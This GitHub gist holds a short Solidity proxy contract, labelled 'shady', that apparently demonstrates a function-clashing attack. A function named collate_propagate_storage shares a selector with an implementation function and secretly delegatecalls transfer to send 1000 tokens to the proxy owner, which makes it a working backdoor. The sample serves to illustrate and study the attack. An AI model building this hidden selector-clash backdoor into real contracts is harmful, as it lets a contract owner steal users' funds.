Skip to content

Instantly share code, notes, and snippets.

@tinchoabbate
Created July 2, 2019 23:03
Show Gist options
  • Save tinchoabbate/a42e77c81f472dab4b4a58217d1527fd to your computer and use it in GitHub Desktop.
Save tinchoabbate/a42e77c81f472dab4b4a58217d1527fd to your computer and use it in GitHub Desktop.
Shady proxy used for function clashing
pragma solidity ^0.5.0;
contract Proxy {
address public proxyOwner;
address public implementation;
constructor(address implementation) public {
proxyOwner = msg.sender;
_setImplementation(implementation);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner);
_;
}
function upgrade(address implementation) external onlyProxyOwner {
_setImplementation(implementation);
}
function _setImplementation(address imp) private {
implementation = imp;
}
function () payable external {
address impl = implementation;
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function collate_propagate_storage(bytes16) external {
implementation.delegatecall(abi.encodeWithSignature(
"transfer(address,uint256)", proxyOwner, 1000
));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment